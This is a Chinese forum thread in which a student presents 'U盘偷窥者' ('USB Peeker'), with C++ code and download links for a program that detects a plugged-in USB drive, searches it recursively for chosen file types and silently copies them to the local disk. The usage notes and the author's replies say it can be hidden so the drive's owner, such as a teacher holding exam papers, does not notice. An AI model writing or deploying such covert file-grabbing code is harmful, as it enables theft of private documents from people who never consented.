飘云阁

 找回密码
 加入我们

QQ登录

只需一步,快速开始

查看: 6799|回复: 13

U盘偷窥者

    [复制链接]

该用户从未签到

发表于 2011-3-8 13:08:00 | 显示全部楼层 |阅读模式
本帖最后由 liuqiangni 于 2011-3-8 13:10 编辑

今天发一篇文章吧,关于搜索文件的,我的软件名字叫做"U盘偷窥者",高手飘过吧!
                                       ------文章是在看雪论坛上面发表过了(本人原创),相信很多PYG的会员也是看雪上面的吧,如果看过了,那就请飘过吧!
     


  灵感是来自我们的电磁学老师,我们快要考试了,老师每年都会把上届的试题给我们一份电子档的,当然每年的题也都差不多,老师可能也怕挂多了,自己面子上面过不去吧.然后上次同学拷贝试卷的时候,突然发现在试卷旁边的一个文件夹中还有些word文档,也准备拷回去,考试嘛,试卷当然不怕多咯!老师一看,连忙说:"这是我今年出的题目,你们拷回去了我怎么办!" 当时我们都直乐.但我想如果要是有一个可以搜索U盘的文件的软件,然后拷贝到电脑上面,那该有多好啊

,因为我们可以在上课之前打开电脑然后运行程序,老师U盘一插进去就可以自动的把word文档复制到电脑上面来了吗,最

重要的是老师还不知道,那我们班的同学不都可以不挂科了吗?呵呵,想法是不是很好!(想是这么想,但是我还是不会这样

做的,其一我不担心挂科,其二,考试本来就是公平竞争嘛,这样做了心里过不去)


这时候我就在构思怎么去实现这个功能,软件很简单,3个功能,1.查找是否有U盘存在,2.搜索指定的文件夹的指定格式的

文件(最重要的) 3.拷贝到硬盘上面




1和3都好实现,但是2 就不怎么好实现了.我去网上查了一下,搜索文件的代码很多,要么是编译通不过,要么就是没有我需

要的,最后还是觉定自己来动手实现吧.毕竟求人不如求己嘛!

现在我把核心代码发出来,源码在下面可以下载,仅供各位想学习的人参考,交流... 我也不是计算机专业的,代码粗糙,各

位别见笑...我尽量把代码注释的详细点,毕竟有很多初学者...



2.查找文件
/*我的实现和网上很多人实现方法不一样,这个是自己看别人代码然后悟出来的*/
/*我们要查找的是path路径下的,后缀名为format的文件*/
void findfile(CString path,CString format)   
{  CFileFind ff;                                           //这里用的是CFileFind这个类
  CString str;  //保存你查找的具体文件的后缀名
  BOOL work = ff.FindFile(path);                          //查找指定路径下的文件
  while(work)
  {
    work = ff.FindNextFile();
    CString ss = ff.GetFileName();                 //获得文件的名字
    int t =ss.Find('.');
    str = ss.Right(ss.GetLength()-ss.Find(".",0)-1); //取点后面的字符
    str.MakeLower();  //变成小写字母
    if(t !=-1)   //表示不是一个文件夹,而是一个文件 有"."存在
    {/*我这里没考虑文件名为"."和".."的两个目录,因为我认为文件名中有"."表示它是个文件而不是目

录,具体看代码*/
      if(str==format)
      {
        
        CString paths = ff.GetFilePath();
        CString disk ="D:\\Copy的U盘文件";
        ::CreateDirectory(disk,NULL);//创建一个目录放拷贝过来的文件
        disk+="\\";
        disk+=ff.GetFileName();
        ::CopyFile(paths,disk,true);//拷贝文件
      }

   
   
    }
    else  //如果是文件夹的话,就递归查找
    {
      CString path1 = ff.GetFilePath();//其实是获取当前目录下的所有文件
      path1+="\\*.*";
      findfile(path1,format);  //递归
      
    }
   
  
  }  
  
  ff.Close();

}

接下来我们用SetTimer来获取U盘信息


代码如下:
回调函数
void CALLBACK EXPORT TimerProc(
   HWND hWnd,      // handle of CWnd that called SetTimer
   UINT nMsg,      // WM_TIMER
   UINT nIDEvent , // timer identification
   DWORD dwTime    // system time
)
{
  
  char uType[] = "C:\\";
  for(;uType[0]<='Z';uType[0]++)              //遍历磁盘找到可移动磁盘,获取可移动磁盘号
  {      
    if(DRIVE_REMOVABLE ==GetDriveType(uType))//符合这个条件的就是可移动磁盘,方法有很多了
    {  memset(uDisk,0,10);//重新置零,uDisk[]用于保存U盘盘符
      uDisk[0]=uType[0];
      strcat(uDisk,":\\*.*");
      
    }
  }  

  if(doc)           //doc是BOOL型的,由外面传进去的 具体看源码
    findfile(uDisk,"doc");    //搜索指定文件和拷贝文件
  
}



这样就算完成了,看起来很简单吧,真正的去实现可花了我不少时间哦,这个还有很多功能自己可以去加的.我这里算是只

给了一个思路,因为最近还要忙着复习...只能写这么多了,当然获取U盘信息也可以用消息来实现,我就不做了,自己去网

上查一下吧...

使用说明:

本程序用于复制U盘的一些文档,程序会在C:\\CopyFormUDisk\\下生成你拷贝的文件.如果需要获取别人u盘上面的一些Word excle等文档.

本程序使用简单,只需要打开程序,设置你需要获取的文件格式,然后插上U盘几秒钟即可,当然如果你不希望别人知道你获取了他的文件,你可以把程序设置成隐藏,这样更隐蔽.  

本程序 F2是隐藏,F3是显示程序,F4是关闭程序



                    刘强
                    长江大学
                    2011.1.6

Ustealer2.1.rar

24.78 KB, 下载次数: 20, 下载积分: 飘云币 -2 枚

U盘偷窥者

U盘偷窥者源码.rar

78.7 KB, 下载次数: 32, 下载积分: 飘云币 -2 枚

C++源码

PYG19周年生日快乐!

该用户从未签到

 楼主| 发表于 2011-3-8 13:11:29 | 显示全部楼层
沙发自己占个,希望大家支持!
PYG19周年生日快乐!

该用户从未签到

发表于 2011-3-11 22:58:07 | 显示全部楼层
很牛啊,支持
PYG19周年生日快乐!
  • TA的每日心情
    开心
    2018-5-6 16:27
  • 签到天数: 7 天

    [LV.3]偶尔看看II

    发表于 2011-3-12 09:16:14 | 显示全部楼层
    试了一下,真的很强大。/:good
    PYG19周年生日快乐!
  • TA的每日心情

    2020-11-12 17:15
  • 签到天数: 2 天

    [LV.1]初来乍到

    发表于 2011-3-12 14:12:39 | 显示全部楼层
    看看 不知道有什么用
    PYG19周年生日快乐!

    该用户从未签到

     楼主| 发表于 2011-3-12 18:52:03 | 显示全部楼层
    看看 不知道有什么用
    wspili 发表于 2011-3-12 14:12



        要是老师不给你课件,你就可以用这个去拷贝他的课件了,特别隐蔽,嘻嘻!!

    文件补丁源码.rar

    28.57 KB, 下载次数: 0, 下载积分: 飘云币 -2 枚

    lpk.rar

    10.07 KB, 下载次数: 0, 下载积分: 飘云币 -2 枚

    PYG19周年生日快乐!

    该用户从未签到

    发表于 2011-3-13 01:03:54 | 显示全部楼层
    这个东东有用,也很实用
    PYG19周年生日快乐!

    该用户从未签到

     楼主| 发表于 2011-3-13 10:59:07 | 显示全部楼层
    这个文件在我的网盘上面也有下载,另外上面有很多的编程学习的资源...
    http://www.vdisk.cn/liuqiangni
    PYG19周年生日快乐!
  • TA的每日心情
    开心
    2020-7-7 17:53
  • 签到天数: 1 天

    [LV.1]初来乍到

    发表于 2011-3-13 19:39:45 | 显示全部楼层
    :sleepy:
    "U盘偷窥者" 名字让人想入非非!
    PYG19周年生日快乐!
  • TA的每日心情
    开心
    2023-3-14 15:11
  • 签到天数: 465 天

    [LV.9]以坛为家II

    发表于 2011-3-14 09:44:31 | 显示全部楼层
    看看呵呵!
    PYG19周年生日快乐!
    您需要登录后才可以回帖 登录 | 加入我们

    本版积分规则

    快速回复 返回顶部 返回列表